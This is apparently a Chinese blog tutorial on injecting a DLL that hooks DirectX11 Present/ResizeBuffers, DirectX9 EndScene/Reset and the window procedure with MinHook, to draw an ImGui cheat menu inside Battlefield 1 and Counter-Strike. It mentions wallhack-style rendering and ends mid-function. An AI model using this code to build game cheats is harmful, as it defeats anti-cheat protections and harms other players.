HOOK实现骨骼透视，实际上就是hookD3D绘制3D模型都需要调用的DrawIndexedPrimitive()函数，然后判断模型，修改其Z轴深度缓存，从而实现模型透视，还有就是这篇文章要讲到的，通过Hook
DirectX11中呈现渲染图像的函数，来达到在游戏窗口上多添加一个imgui的辅助窗口。
### Direct3D11初始化
[Direct3D11学习：（三）Direct3D11初始化 – 郭小雷 – 博客园
(cnblogs.com)](https://www.cnblogs.com/Ray1024/p/6084609.html)
可以先看上面这篇文章，初步了解下Direct3D11初始化的过程，我们需要注意的是其中的创建一个渲染目标视图。
ID3D11RenderTargetView* mRenderTargetView;
ID3D11Texture2D* backBuffer;
// 获取一个交换链的后台缓冲区指针
mSwapChain->GetBuffer(0,__uuidof(ID3D11Texture2D), reinterpret_cast<void**>(&backBuffer));
// 创建渲染目标视图
md3dDevice->CreateRenderTargetView(backBuffer, 0, &mRenderTargetView);
// 每调用一次GetBuffer方法，后台缓冲区的COM引用计数就会递增一次。我们需要在使用完之后释放它
ReleaseCOM(backBuffer);
而什么是渲染呢
在Direct3D中，一个设备对象至少包含两个显示缓存区：当前缓存区（Front Buffer）和后备缓存区（Back
Buffer），前者可以看成Direct3D窗口的映射。当我们渲染图形时，实际上并不是直接在窗口上输出，而是在后备缓存区上绘图。渲染完毕后，交换两个缓存区，使原来的后备缓存区变成当前缓存区，从而实现窗口刷新。快速重复此过程，就会在屏幕上形成连续的动画。
所以想要在游戏窗口，再加一个imgui的窗口，我们就需要在其执行绘制函数前，多创建一个渲染目标视图到其后备缓存区，这样后面绘制的时候，就也会绘制我们新添的imgui窗口。
### Imgui
[Dear Imgui](https://github.com/ocornut/imgui) 是一个 **用于 C++ 的无膨胀图形用户界面库**
。它输出优化的顶点缓冲区，您可以在启用 3D 管道的应用程序中随时渲染这些缓冲区。它快速、可移植、与渲染器无关且自包含（无外部依赖项）。
Imgui的example很多，其中就有[example_win32_directx11](https://github.com/ocornut/imgui/tree/master/examples/example_win32_directx11)的例子，只不过是开发的角度，不像游戏是已经开发出来的exe，所以对于游戏，是需要对关键函数进行hook的。
下面来分析这个example_win32_directx11。
// Dear ImGui: standalone example application for DirectX 11
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
// Read online: https://github.com/ocornut/imgui/tree/master/docs
#include "imgui.h"
#include "imgui_impl_win32.h"
#include "imgui_impl_dx11.h"
#include <d3d11.h>
#include <tchar.h>
// Data
static ID3D11Device* g_pd3dDevice = NULL;
static ID3D11DeviceContext* g_pd3dDeviceContext = NULL;
static IDXGISwapChain* g_pSwapChain = NULL;
static ID3D11RenderTargetView* g_mainRenderTargetView = NULL;
// Forward declarations of helper functions
bool CreateDeviceD3D(HWND hWnd);
void CleanupDeviceD3D();
void CreateRenderTarget();
void CleanupRenderTarget();
LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
// Main code
int main(int, char**)
{
// Create application window
//ImGui_ImplWin32_EnableDpiAwareness();
WNDCLASSEXW wc = { sizeof(wc), CS_CLASSDC, WndProc, 0L, 0L, GetModuleHandle(NULL), NULL, NULL, NULL, NULL, L"ImGui Example", NULL };
::RegisterClassExW(&wc);
HWND hwnd = ::CreateWindowW(wc.lpszClassName, L"Dear ImGui DirectX11 Example", WS_OVERLAPPEDWINDOW, 100, 100, 1280, 800, NULL, NULL, wc.hInstance, NULL);
// Initialize Direct3D
if (!CreateDeviceD3D(hwnd))
{
CleanupDeviceD3D();
::UnregisterClassW(wc.lpszClassName, wc.hInstance);
return 1;
}
// Show the window
::ShowWindow(hwnd, SW_SHOWDEFAULT);
::UpdateWindow(hwnd);
// Setup Dear ImGui context
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard; // Enable Keyboard Controls
//io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad; // Enable Gamepad Controls
// Setup Dear ImGui style
ImGui::StyleColorsDark();
//ImGui::StyleColorsLight();
// Setup Platform/Renderer backends
ImGui_ImplWin32_Init(hwnd);
ImGui_ImplDX11_Init(g_pd3dDevice, g_pd3dDeviceContext);
// Our state
bool show_demo_window = true;
bool show_another_window = false;
ImVec4 clear_color = ImVec4(0.45f, 0.55f, 0.60f, 1.00f);
// Main loop
bool done = false;
while (!done)
{
// Poll and handle messages (inputs, window resize, etc.)
// See the WndProc() function below for our to dispatch events to the Win32 backend.
MSG msg;
while (::PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE))
{
::TranslateMessage(&msg);
::DispatchMessage(&msg);
if (msg.message == WM_QUIT)
done = true;
}
if (done)
break;
// Start the Dear ImGui frame
ImGui_ImplDX11_NewFrame();
ImGui_ImplWin32_NewFrame();
ImGui::NewFrame();
// 1. Show the big demo window (Most of the sample code is in ImGui::ShowDemoWindow()! You can browse its code to learn more about Dear ImGui!).
if (show_demo_window)
ImGui::ShowDemoWindow(&show_demo_window);
// Rendering
ImGui::Render();
const float clear_color_with_alpha[4] = { clear_color.x * clear_color.w, clear_color.y * clear_color.w, clear_color.z * clear_color.w, clear_color.w };
g_pd3dDeviceContext->OMSetRenderTargets(1, &g_mainRenderTargetView, NULL);
g_pd3dDeviceContext->ClearRenderTargetView(g_mainRenderTargetView, clear_color_with_alpha);
ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData());
g_pSwapChain->Present(1, 0); // Present with vsync
//g_pSwapChain->Present(0, 0); // Present without vsync
}
// Cleanup
ImGui_ImplDX11_Shutdown();
ImGui_ImplWin32_Shutdown();
ImGui::DestroyContext();
CleanupDeviceD3D();
::DestroyWindow(hwnd);
::UnregisterClassW(wc.lpszClassName, wc.hInstance);
return 0;
}
// Helper functions
bool CreateDeviceD3D(HWND hWnd)
{
// Setup swap chain
DXGI_SWAP_CHAIN_DESC sd;
ZeroMemory(&sd, sizeof(sd));
sd.BufferCount = 2;
sd.BufferDesc.Width = 0;
sd.BufferDesc.Height = 0;
sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
sd.BufferDesc.RefreshRate.Numerator = 60;
sd.BufferDesc.RefreshRate.Denominator = 1;
sd.Flags = DXGI_SWAP_CHAIN_FLAG_ALLOW_MODE_SWITCH;
sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
sd.OutputWindow = hWnd;
sd.SampleDesc.Count = 1;
sd.SampleDesc.Quality = 0;
sd.Windowed = TRUE;
sd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
UINT createDeviceFlags = 0;
//createDeviceFlags |= D3D11_CREATE_DEVICE_DEBUG;
D3D_FEATURE_LEVEL featureLevel;
const D3D_FEATURE_LEVEL featureLevelArray[2] = { D3D_FEATURE_LEVEL_11_0, D3D_FEATURE_LEVEL_10_0, };
if (D3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, createDeviceFlags, featureLevelArray, 2, D3D11_SDK_VERSION, &sd, &g_pSwapChain, &g_pd3dDevice, &featureLevel, &g_pd3dDeviceContext) != S_OK)
return false;
CreateRenderTarget();
return true;
}
void CleanupDeviceD3D()
{
CleanupRenderTarget();
if (g_pSwapChain) { g_pSwapChain->Release(); g_pSwapChain = NULL; }
if (g_pd3dDeviceContext) { g_pd3dDeviceContext->Release(); g_pd3dDeviceContext = NULL; }
if (g_pd3dDevice) { g_pd3dDevice->Release(); g_pd3dDevice = NULL; }
}
void CreateRenderTarget()
{
ID3D11Texture2D* pBackBuffer;
g_pSwapChain->GetBuffer(0, IID_PPV_ARGS(&pBackBuffer));
g_pd3dDevice->CreateRenderTargetView(pBackBuffer, NULL, &g_mainRenderTargetView);
pBackBuffer->Release();
}
void CleanupRenderTarget()
{
if (g_mainRenderTargetView) { g_mainRenderTargetView->Release(); g_mainRenderTargetView = NULL; }
}
// Forward declare message handler from imgui_impl_win32.cpp
extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
// Win32 message handler
// You can read the io.WantCaptureMouse, io.WantCaptureKeyboard flags to tell if dear imgui wants to use your inputs.
// - When io.WantCaptureMouse is true, do not dispatch mouse input data to your main application, or clear/overwrite your copy of the mouse data.
// - When io.WantCaptureKeyboard is true, do not dispatch keyboard input data to your main application, or clear/overwrite your copy of the keyboard data.
// Generally you may always pass all inputs to dear imgui, and hide them from your application based on those two flags.
LRESULT WINAPI WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
if (ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam))
return true;
switch (msg)
{
case WM_SIZE:
if (g_pd3dDevice != NULL && wParam != SIZE_MINIMIZED)
{
CleanupRenderTarget();
g_pSwapChain->ResizeBuffers(0, (UINT)LOWORD(lParam), (UINT)HIWORD(lParam), DXGI_FORMAT_UNKNOWN, 0);
CreateRenderTarget();
}
return 0;
case WM_SYSCOMMAND:
if ((wParam & 0xfff0) == SC_KEYMENU) // Disable ALT application menu
return 0;
break;
case WM_DESTROY:
::PostQuitMessage(0);
return 0;
}
return ::DefWindowProc(hWnd, msg, wParam, lParam);
}
简单整理了下过程
|--main()
| |--CreateWindowW() 创建一个windows窗口用于测试imgui
| |--CreateDeviceD3D()
| | |--D3D11CreateDeviceAndSwapChain() 创建设备、设备上下文和交换链
| | |--CreateRenderTarget() 创建渲染目标视图
| |--ImGui_Init ImGui初始化
| |--while(loop)
| | |--PeekMessage，检测是否收到quit的消息
| | |--ImGui 场景的设置
| | |--g_pd3dDeviceContext->OMSetRenderTargets 将视图绑定到输出合并器阶段
| | |--g_pd3dDeviceContext->ClearRenderTargetView 貌似和绘制背景有关
| | |--g_pSwapChain->Present(1, 0);开始绘制
| | |--后面就是一些结束清理过程了
|--WndProc()
| |--ImGui_ImplWin32_WndProcHandler(hWnd, msg, wParam, lParam) 如果是Imgui的窗口，就交给Imgui的消息处理函数进行处理
| |--switch(msg)
| | |--case WM_SIZE: 当窗口大小改变时产生这个消息
| | | |--CleanupRenderTarget();g_pSwapChain->ResizeBuffers;CreateRenderTarget();先清理渲染目标视图，然后在创建一个。
| | |--case WM_DESTROY: 接收到WM_DESTROY时
| | | |--PostQuitMessage(0) 发送消息，结束main函数中的while循环。
### Hook的函数
imgui的example相当于就是实现了一个使用imgui窗口的D3D11的初始化过程，但是对于游戏，我们不是开发者，不能直接修改代码，所以就只有去hook其中的关键函数，在执行关键函数前，或者关键函数后，执行我们的代码。
所以我们需要明确对于DirectX11，需要hook哪些函数，通过Imgui提供的样例，我们可以知道在DirectX11需要Hook的有三个函数。
* [IDXGISwapChain::Present](https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nf-dxgi-idxgiswapchain-present)，绘制函数，我们需要在绘制函数前，自己创建一个渲染目标视图，然后是Imgui的初始化和窗口设置。
* IDXGISwapChain::ResizeBuffers，窗口大小变换时会调用的函数，为了我们的imgui窗口也能够随窗口size变换而正常执行，我们需要hook这个函数，对原渲染目标视图进行release，然后重新创建。
* WndProc，游戏窗口的消息处理函数，对于imgui窗口的消息，我们需要调用ImGui_ImplWin32_WndProcHandler()来进行处理。
和DirectX9有些不同的是，DirectX11的绘制函数和RESIZE函数是不一样的。
| DirectX9 | DirectX11
---|---|---
向用户呈现渲染图像 | [IDirect3DDevice9::EndScene](https://learn.microsoft.com/en-us/windows/win32/api/d3d9helper/nf-d3d9helper-idirect3ddevice9-endscene) |
[IDXGISwapChain::Present](https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nf-dxgi-idxgiswapchain-present)
改变窗口size调用的函数 | [IDirect3DDevice9::Reset](https://learn.microsoft.com/en-us/windows/win32/api/d3d9helper/nf-d3d9helper-idirect3ddevice9-reset) |
[IDXGISwapChain::ResizeBuffers](https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nf-dxgi-idxgiswapchain-resizebuffers)
### 实战某游戏
主要还是将github上那个项目中DirectX11的部分分离了出来，然后我简化了其imgui的窗口。
dllmain.cpp，主要就是先创建一个用于输入调试信息的控制台，然后遍历了窗口，准确获取到bf1的窗口句柄，minihook的初始化。
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "includes.h"
namespace console
{
FILE* output_stream = nullptr;
void attach(const char* name)
{
if (AllocConsole())
{
freopen_s(&output_stream, "conout$", "w", stdout);
}
SetConsoleTitle(name);
}
void detach()
{
if (output_stream)
{
fclose(output_stream);
}
FreeConsole();
}
}
#define RAISE_ERROR(check_var, error_message, success_message) \
if (!check_var) \
{ \
MessageBoxA(NULL, error_message, "alternative hack", MB_OK | MB_ICONERROR); \
FreeLibraryAndExitThread(globals::hmModule, 1); \
} \
else \
{ \
std::cout << success_message << "0x" << std::hex << check_var << std::endl; \
} \
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
auto process_id_that_interests_us_very_much = GetCurrentProcessId();
HWND* cur_hwnd = (HWND*)lParam;
if ((!GetWindow(hwnd, GW_OWNER)) && IsWindow(hwnd))
{
DWORD process_id = NULL;
GetWindowThreadProcessId(hwnd, &process_id);
char* text_window = new char[255];
GetWindowText(hwnd, text_window, 255);
if (process_id_that_interests_us_very_much == process_id && strstr(text_window, "Battlefield") && !strstr(text_window, ".exe"))
{
std::cout << "Window: " << text_window << std::endl;
*cur_hwnd = hwnd;
return 0;
}
}
return 1;
}
void SetupHackThread(void)
{
//开启一个控制台用来输出一些信息。
console::attach("bf1 console debug");
//获取Battlefield窗口的句柄
EnumWindows(&EnumWindowsProc, (LPARAM)&globals::hGame);
RAISE_ERROR(globals::hGame, "Error find window", "window handle: ");
//minhook的初始化
if (MH_Initialize() != MH_OK)
{
MessageBoxA(NULL, "Error initialize minhook", "alternative hack", MB_OK | MB_ICONERROR);
}
//DirectX11 Hook
m_pHook->SetupDX11Hook();
RAISE_ERROR(m_pHook->pPresentAddress, "Error hook DX11", "present: ");
RAISE_ERROR(m_pHook->pResizeBuffersAddress, "Error hook DX11", "resizebuffers: ");
//调用SetWindowLongPtr函数修改了游戏窗口的WndProc，也就是窗口的消息处理函数，具体的消息处理函数将在对应函数位置进行分析。
m_pHook->SetupWndProcHook();
RAISE_ERROR(m_pHook->pWndProc, "Error hook wndproc", "wndproc: ")
while (true)
{
Sleep(228);
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SetupHackThread, NULL, NULL, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
hook.h，hook类的定义，以及声明了几个变量，交换链、设备、设备上下文、渲染目标子资源。
#pragma once
class CHook
{
public:
PVOID pPresentAddress;
PVOID pResizeBuffersAddress;
WNDPROC pWndProc;
void SetupDX11Hook();
void SetupWndProcHook();
};
//智能指针类,相当于创建了一个指向CHook类的空指针。
extern std::unique_ptr<CHook>m_pHook;
extern IDXGISwapChain* swapchain;
extern ID3D11Device* device;
extern ID3D11DeviceContext* context;
extern ID3D11RenderTargetView* render_view;
hook.cpp，主要就是之前提到三个函数的hook，然后代码流程和example_win32_directx11差不多。
#include "../includes.h"
std::unique_ptr<CHook>m_pHook = std::make_unique<CHook>();
IDXGISwapChain* swapchain = nullptr;
ID3D11Device* device = nullptr;
ID3D11DeviceContext* context = nullptr;
ID3D11RenderTargetView* render_view = nullptr;
using fPresent = HRESULT(__fastcall*)(IDXGISwapChain*, UINT, UINT);
fPresent pPresent = NULL;
using fResizeBuffers = HRESULT(__fastcall*)(IDXGISwapChain*, UINT, UINT, UINT, DXGI_FORMAT, UINT);
fResizeBuffers pResizeBuffers = NULL;
static bool renderview_lost = true;
namespace vars
{
static bool bMenuOpen=true;
}
enum IDXGISwapChainvTable //for dx10 / dx11
{
QUERY_INTERFACE,
ADD_REF,
RELEASE,
SET_PRIVATE_DATA,
SET_PRIVATE_DATA_INTERFACE,
GET_PRIVATE_DATA,
GET_PARENT,
GET_DEVICE,
PRESENT,
GET_BUFFER,
SET_FULLSCREEN_STATE,
GET_FULLSCREEN_STATE,
GET_DESC,
RESIZE_BUFFERS,
RESIZE_TARGET,
GET_CONTAINING_OUTPUT,
GET_FRAME_STATISTICS,
GET_LAST_PRESENT_COUNT
};
void InitImGui()
{
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
ImGui_ImplWin32_Init(globals::hGame);
ImGui_ImplDX11_Init(device, context);
}
void BeginScene()
{
ImGui_ImplDX11_NewFrame();
ImGui_ImplWin32_NewFrame();
ImGui::NewFrame();
bool show_demo_window = true;
ImGui::ShowDemoWindow(&show_demo_window);
ImGui::Begin("Another Window", &show_demo_window); // Pass a pointer to our bool variable (the window will have a closing button that will clear the bool when clicked)
ImGui::Text("Hello from another window!");
static int counter = 0;
if (ImGui::Button("Button")) // Buttons return true when clicked (most widgets return true when edited/activated)
counter++;
ImGui::Text("counter = %d", counter);
ImGui::End();
ImGui::Render();
ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData());
}
HRESULT __fastcall Present_Hooked(IDXGISwapChain* pChain, UINT SyncInterval, UINT Flags)
{
//第一次调用时，创建渲染目标视图
if (renderview_lost)
{
if (SUCCEEDED(pChain->GetDevice(__uuidof(ID3D11Device), (void**)&device)))
{
device->GetImmediateContext(&context);
ID3D11Texture2D* pBackBuffer;
pChain->GetBuffer(0, __uuidof(ID3D11Texture2D), (LPVOID*)&pBackBuffer);
device->CreateRenderTargetView(pBackBuffer, NULL, &render_view);
pBackBuffer->Release();
std::cout << __FUNCTION__ << " > renderview successfully received!" << std::endl;
renderview_lost = false;
}
}
//ImGui的初始化代码，套路代码
static auto once = [pChain, SyncInterval, Flags]()
{
InitImGui();
std::cout << __FUNCTION__ << " > first called!" << std::endl;
return true;
}();
//将视图绑定到输出合并器阶段
context->OMSetRenderTargets(1, &render_view, NULL);
//imgui窗口的绘制
BeginScene();
return pPresent(pChain, SyncInterval, Flags);
}
HRESULT __fastcall ResizeBuffers_hooked(IDXGISwapChain* pChain, UINT BufferCount, UINT Width, UINT Height, DXGI_FORMAT NewFormat, UINT Flags)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " > first called!" << std::endl;
return true;
}();
//释放掉渲染目标视图
render_view->Release();
render_view = nullptr;
//将标志改为true，这样下次Present_Hooked，又会创建一个渲染目标视图。
renderview_lost = true;
//这两个没看懂，imgui的example_win32_directx9有类似的代码，但是
ImGui_ImplDX11_CreateDeviceObjects();
ImGui_ImplDX11_InvalidateDeviceObjects();
return pResizeBuffers(pChain, BufferCount, Width, Height, NewFormat, Flags);
}
void CHook::SetupDX11Hook()
{
//创建设备、设备上下文和交换链，只需要一个东西，就是目标窗口的hWnd
D3D_FEATURE_LEVEL feature_level = D3D_FEATURE_LEVEL_11_0;
DXGI_SWAP_CHAIN_DESC scd{};
ZeroMemory(&scd, sizeof(scd));
scd.BufferCount = 1;
scd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
scd.BufferDesc.Scaling = DXGI_MODE_SCALING_UNSPECIFIED;
scd.BufferDesc.ScanlineOrdering = DXGI_MODE_SCANLINE_ORDER_UNSPECIFIED;
scd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
scd.Flags = DXGI_SWAP_CHAIN_FLAG_ALLOW_MODE_SWITCH;
scd.OutputWindow = globals::hGame;
scd.SampleDesc.Count = 1;
scd.SwapEffect = DXGI_SWAP_EFFECT_DISCARD;
scd.Windowed = TRUE;
scd.BufferDesc.RefreshRate.Numerator = 60;
scd.BufferDesc.RefreshRate.Denominator = 1;
//https://learn.microsoft.com/en-us/windows/win32/api/d3d11/nf-d3d11-d3d11createdeviceandswapchain
if (FAILED(D3D11CreateDeviceAndSwapChain(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL, NULL, &feature_level, 1, D3D11_SDK_VERSION, &scd, &swapchain, &device, NULL, &context)))
{
std::cout << "failed to create device\n";
return;
}
//*取一级指针的值，获取到IDXGISwapChain接口，https://learn.microsoft.com/en-us/windows/win32/api/dxgi/nn-dxgi-idxgiswapchain
void** pVTableSwapChain = *reinterpret_cast<void***>(swapchain);
//获取需要hook的两个函数的地址，就是IDXGISwapChain接口提供的两个函数。
//向用户呈现渲染图像。IDXGISwapChain::Present
this->pPresentAddress = reinterpret_cast<LPVOID>(pVTableSwapChain[IDXGISwapChainvTable::PRESENT]);
//更改交换链的后台缓冲区大小、格式和缓冲区数量。这应该在应用程序窗口大小调整时调用。IDXGISwapChain::ResizeBuffers
this->pResizeBuffersAddress = reinterpret_cast<LPVOID>(pVTableSwapChain[IDXGISwapChainvTable::RESIZE_BUFFERS]);
//开始hook，主要过程就是在执行原Present函数前，创建渲染目标视图，然后imgui初始化，绘制
if (MH_CreateHook(this->pPresentAddress, &Present_Hooked, (LPVOID*)&pPresent) != MH_OK
|| MH_EnableHook(this->pPresentAddress) != MH_OK)
{
std::cout << "failed create hook present\n";
return;
}
//这个函数就是当目标窗口的size改变时会调用的。
if (MH_CreateHook(pResizeBuffersAddress, &ResizeBuffers_hooked, (LPVOID*)&pResizeBuffers) != MH_OK
|| MH_EnableHook(pResizeBuffersAddress) != MH_OK)
{
std::cout << "failed create hook resizebuffers\n";
return;
}
}
LRESULT ImGui_ImplWin32_WndProcHandler(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK WndProc_Hooked(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " first called!" << std::endl;
return true;
}();
//如果按下INS键，就打开或关闭外挂设置界面，如果之前是关闭的就打开，如果是打开的就关闭。
if (uMsg == WM_KEYDOWN && wParam == VK_INSERT)
{
vars::bMenuOpen = !vars::bMenuOpen;
return FALSE;
}
//如果外挂设置界面是打开状态，则调用ImGui的消息处理
if (vars::bMenuOpen && ImGui_ImplWin32_WndProcHandler(hwnd, uMsg, wParam, lParam))
{
return TRUE;
}
//调用原窗口处理消息的函数来处理其他消息，https://blog.csdn.net/wangpengk7788/article/details/55053053
return CallWindowProc(m_pHook->pWndProc, hwnd, uMsg, wParam, lParam);
}
void CHook::SetupWndProcHook()
{
this->pWndProc = (WNDPROC)SetWindowLongPtr(globals::hGame, GWLP_WNDPROC, (LONG_PTR)WndProc_Hooked);
}
最后效果如下。
## DirectX9
前面已经提到DirectX11和DirectX9,是有些细微差别的，实际上其过程还相对于DirectX11减少了许多步骤，这里我同样编写了下DirectX9
Hook的代码，并找了一款游戏进行测验。
其代码过程也可参考imgui中的[example_win32_directx9](https://github.com/ocornut/imgui/tree/master/examples/example_win32_directx9)，同样我们需要hook一些函数。
### 实战某游戏
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "includes.h"
namespace console
{
FILE* output_stream = nullptr;
void attach(const char* name)
{
if (AllocConsole())
{
freopen_s(&output_stream, "conout$", "w", stdout);
}
SetConsoleTitle(name);
}
void detach()
{
if (output_stream)
{
fclose(output_stream);
}
FreeConsole();
}
}
#define RAISE_ERROR(check_var, error_message, success_message) \
if (!check_var) \
{ \
MessageBoxA(NULL, error_message, "csgo hack", MB_OK | MB_ICONERROR); \
FreeLibraryAndExitThread(globals::hmModule, 1); \
} \
else \
{ \
std::cout << success_message << "0x" << std::hex << check_var << std::endl; \
} \
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
auto process_id_that_interests_us_very_much = GetCurrentProcessId();
HWND* cur_hwnd = (HWND*)lParam;
if ((!GetWindow(hwnd, GW_OWNER)) && IsWindow(hwnd))
{
DWORD process_id = NULL;
GetWindowThreadProcessId(hwnd, &process_id);
char* text_window = new char[255];
GetWindowText(hwnd, text_window, 255);
if (process_id_that_interests_us_very_much == process_id && strstr(text_window, "Counter-Strike") && !strstr(text_window, ".exe"))
{
std::cout << "Window: " << text_window << std::endl;
*cur_hwnd = hwnd;
return 0;
}
}
return 1;
}
void SetupHackThread(void)
{
//开启一个控制台用来输出一些信息。
console::attach("csgo console debug");
//获取窗口的句柄
EnumWindows(&EnumWindowsProc, (LPARAM)&globals::hGame);
RAISE_ERROR(globals::hGame, "Error find window", "window handle: ");
//minhook的初始化
if (MH_Initialize() != MH_OK)
{
MessageBoxA(NULL, "Error initialize minhook", "csgo hack", MB_OK | MB_ICONERROR);
}
//DirectX9 Hook
m_pHook->SetupDX9Hook();
RAISE_ERROR(m_pHook->pEndSceneAddress, "Error hook DX9", "EndScene");
RAISE_ERROR(m_pHook->pResetAddress, "Error hook DX9", "Reset: ");
//调用SetWindowLongPtr函数修改了游戏窗口的WndProc，也就是窗口的消息处理函数，具体的消息处理函数将在对应函数位置进行分析。
m_pHook->SetupWndProcHook();
RAISE_ERROR(m_pHook->pWndProc, "Error hook wndproc", "wndproc: ")
while (true)
{
if (globals::unload_dll) break;
Sleep(228);
}
Sleep(30);
ImGui_ImplDX9_Shutdown();
ImGui_ImplWin32_Shutdown();
ImGui::DestroyContext();
Sleep(100);
MH_DisableHook(m_pHook->pEndSceneAddress);
MH_RemoveHook(m_pHook->pEndSceneAddress);
Sleep(100);
MH_DisableHook(m_pHook->pResetAddress);
MH_RemoveHook(m_pHook->pResetAddress);
MH_Uninitialize();
Sleep(100);
SetWindowLongPtr(globals::hGame, GWLP_WNDPROC, (LONG_PTR)m_pHook->pWndProc);
Sleep(100);
//free library
std::cout << "free library...\n\n";
FreeLibraryAndExitThread(globals::hmModule, 0);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
globals::hmModule = hModule;
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)SetupHackThread, NULL, NULL, NULL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
hook.h
#pragma once
class CHook
{
public:
PVOID pEndSceneAddress;
PVOID pResetAddress;
PVOID pSetCursorPosAddress;
WNDPROC pWndProc;
void SetupDX9Hook();
void SetupWndProcHook();
};
//智能指针类,相当于创建了一个指向CHook类的空指针。
extern std::unique_ptr<CHook>m_pHook;
extern IDirect3D9* g_pD3D;
extern IDirect3DDevice9* device;
hook.cpp
#include "../includes.h"
std::unique_ptr<CHook>m_pHook = std::make_unique<CHook>();
using fEndscene = HRESULT(__stdcall*)(IDirect3DDevice9*);
fEndscene pEndscene = NULL;
using fReset = long(__stdcall*)(IDirect3DDevice9*, D3DPRESENT_PARAMETERS*);
fReset pReset = NULL;
IDirect3D9* g_pD3D= nullptr;
IDirect3DDevice9* device = nullptr;
ID3D11DeviceContext* context = nullptr;
enum IDirect3DDevice9vTable //for dx9
{
RESET = 16,
ENDSCENE=42
};
namespace vars
{
static bool bMenuOpen = true;
}
void InitImGui(IDirect3DDevice9* pd3dDevice)
{
IMGUI_CHECKVERSION();
ImGui::CreateContext();
ImGuiIO& io = ImGui::GetIO(); (void)io;
ImGui_ImplWin32_Init(globals::hGame);
ImGui_ImplDX9_Init(pd3dDevice);
}
void BeginScene()
{
// 界面开始绘制
ImGui_ImplDX9_NewFrame();
ImGui_ImplWin32_NewFrame();
ImGui::NewFrame();
bool show_demo_window = true;
ImGui::ShowDemoWindow(&show_demo_window);
ImGui::Begin("Another Window", &show_demo_window); // Pass a pointer to our bool variable (the window will have a closing button that will clear the bool when clicked)
ImGui::Text("Hello from another window!");
static int counter = 0;
if (ImGui::Button("Button")) // Buttons return true when clicked (most widgets return true when edited/activated)
counter++;
ImGui::Text("counter = %d", counter);
ImGui::End();
ImGui::Render();
ImGui_ImplDX9_RenderDrawData(ImGui::GetDrawData());
}
HRESULT __stdcall EndScene_Hooked(IDirect3DDevice9* pd3dDevice)
{
static auto once = [pd3dDevice]()
{
std::cout << __FUNCTION__ << " > first called!" << std::endl;
InitImGui(pd3dDevice);
return true;
}();
BeginScene();
return pEndscene(pd3dDevice);
}
HRESULT __stdcall Reset_Hooked(IDirect3DDevice9* pd3dDevice, D3DPRESENT_PARAMETERS* pPresentationParameters)
{
static auto once = []()
{
std::cout << __FUNCTION__ << " > first called!" << std::endl;
return true;
}();
ImGui_ImplDX9_InvalidateDeviceObjects();
//HRESULT ret= pReset(pd3dDevice, pPresentationParameters);
ImGui_ImplDX9_CreateDeviceObjects();
return pReset(pd3dDevice, pPresentationParameters);
}
void CHook::SetupDX9Hook()
{
g_pD3D =Direct3DCreate9(D3D_SDK_VERSION);
D3DPRESENT_PARAMETERS g_d3dpp = {};
ZeroMemory(&g_d3dpp, sizeof(g_d3dpp));
g_d3dpp.Windowed = TRUE;
g_d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD;
g_d3dpp.BackBufferFormat = D3DFMT_UNKNOWN;
g_d3dpp.EnableAutoDepthStencil = TRUE;
g_d3dpp.AutoDepthStencilFormat = D3DFMT_D16;
//g_d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_ONE; // Present with vsync
if (g_pD3D->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, globals::hGame, D3DCREATE_HARDWARE_VERTEXPROCESSING, &g_d3dpp, &device) < 0)
{
std::cout << "failed to create device\n";
return;
}
void** pVTabledevice = *reinterpret_cast<void***>(device);
this->pEndSceneAddress = reinterpret_cast<LPVOID>(pVTabledevice[IDirect3DDevice9vTable::ENDSCENE]);
this->pResetAddress = reinterpret_cast<LPVOID>(pVTabledevice[IDirect3DDevice9vTable::RESET]);
